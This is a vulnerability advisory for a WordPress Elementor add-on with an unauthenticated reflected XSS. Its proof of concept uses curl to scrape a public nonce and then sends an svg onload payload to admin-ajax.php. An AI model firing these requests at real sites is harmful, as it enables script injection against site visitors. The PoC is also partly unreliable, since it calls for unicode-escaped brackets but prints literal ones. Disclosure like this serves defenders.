Sina Extension for Elementor < 3.10.2 – Reflected XSS | CVE 2026-14190

Description

The plugin does not escape a value reconstructed from request input in one of its unauthenticated AJAX handlers before reflecting it into the HTML response, allowing unauthenticated attackers to execute arbitrary JavaScript in the browser of anyone who triggers a crafted request.

Proof of Concept

In the request, read_more_text must carry the payload's angle brackets as JSON unicode escapes (< for "less-than", > for "greater-than"); a literal "less-than" is stripped by sanitize_text_field (control test: 0 reflections), and json_decode() restores the escapes to real angle brackets at the sink.

Prerequisites: a public page rendering a Sina Blogpost (or Sina Posts) widget with at least one published post (the widget's normal use). That page emits the load-more nonce to every visitor, and for logged-out visitors the nonce is deterministic/identical.

1. Scrape the guest nonce from the public page:
NONCE=$(curl -s "https://victim.example/blog-grid/" | grep -o 'name="sina_load_more_posts[^"]*" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')

2. Fire the reflected-XSS request (fully unauthenticated, no cookies):
curl -s "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=sina_load_more_posts" \
  --data-urlencode "nonce=$NONCE" \
  --data-urlencode 'posts_data={"post_type":"post","layout":"grid","read_more_text":"<svg onload=alert(document.domain)>","posts_num":5,"paged":1}'

json_decode() restores the escapes and the value is reflected unescaped inside the read-more link of each returned post, e.g.: a sina-read-more anchor whose text is the live <svg onload=alert(document.domain)> tag.